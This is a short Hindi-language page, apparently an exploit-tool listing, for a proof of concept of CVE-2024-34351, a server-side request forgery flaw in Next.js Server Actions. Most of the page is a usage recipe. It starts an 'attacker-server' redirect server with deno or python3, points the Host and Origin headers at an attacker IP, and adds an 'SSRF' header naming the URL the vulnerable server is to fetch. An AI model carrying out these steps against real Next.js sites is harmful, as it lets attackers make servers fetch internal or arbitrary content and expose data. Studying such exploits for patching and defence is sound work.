CVE-2024-34351 एक्सप्लॉइट

• CVE-2024-34351 PoC
• Next.js सर्वर एक्शन्स में सर्वर-साइड रिक्वेस्ट फोर्जरी · CVE-2024-34351 · GitHub एडवाइज़री डेटाबेस
• NextJS ऐप्स में SSRF की खोज

सारांश

NextJS SSRF के पूर्ण शोषण के लिए PoC। एक हमलावर CVE-2024-34351 भेद्यता का उपयोग करके Next.js सर्वर से किसी भी वेबसाइट की सामग्री प्राप्त कर सकता है। यह भेद्यता [email protected] में ठीक कर दी गई है।

उपयोग

• एक रीडायरेक्ट सर्वर तैयार करें।
  • TypeScript
    root@kitploit:~

    deno run --allow-net --allow-read attacker-server.ts
    

  • Python
    root@kitploit:~

    python3 attacker-server.py
    

• Host हेडर को हमलावर सर्वर पर संशोधित करें। (उदा. Host: 192.198.0.144:8000)
• Origin हेडर को हमलावर सर्वर पर संशोधित करें। (उदा. Origin: http://192.198.0.144:8000/)
• रीडायरेक्ट कहाँ करना है, यह निर्दिष्ट करने के लिए SSRF नामक एक नया हेडर जोड़ें। (उदा. SSRF: http://example.com/test)